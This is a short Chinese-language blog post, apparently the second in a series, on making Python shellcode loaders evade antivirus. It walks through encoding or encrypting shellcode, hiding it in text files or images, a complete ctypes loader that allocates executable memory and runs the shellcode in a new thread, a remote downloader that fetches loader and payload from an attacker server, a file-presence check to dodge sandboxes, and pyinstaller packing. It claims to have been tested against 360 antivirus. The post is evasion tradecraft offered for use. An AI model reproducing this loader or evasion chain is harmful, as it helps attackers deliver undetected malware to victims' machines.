python bypss 第二弹
前言
没什么技术含量,响应群友要求水一篇
shellcode处理
生成python的payload
取出shellcode去掉”\x”就是这个样子
base64编码一下,当然还可以继续加密,异或或者aes等等,自写加密也行
保存为一个,或者多个txt文件,或者图片隐写,都可以,这里只提供一个简单思路
加载器处理
加载器,就不多说了,shellcode好比子弹,加载器就是手枪,加载器网上到处都是,无非就是申请,读写,执行内存.加载器对于免杀很重要,现在大多数的加载器api都被打上标记了
提供一个
1 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode),len(shellcode));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1) |
加载器同理shellcode,base64编码一下,也可以继续加密,保存为txt放到服务器上
下载器
现在写主程序,也就是下载器,我们用这个程序去远程下载加载器和shellcode,只要你服务器不被标记,谁敢说我这是木马??
1 | import base64 |
写个main.py再套个壳,使用import加载调用,再判断下当前路径是否存在这个ok.txt文件,不存在不执行,算是防止被杀软之类的放进沙箱吧,似乎有一点卵用
1 | import loader |
打包
pyinstaller打包的时候再加密一下
记得放个ok.txt才会正常运行,正常上线
测试
嫌麻烦只测了360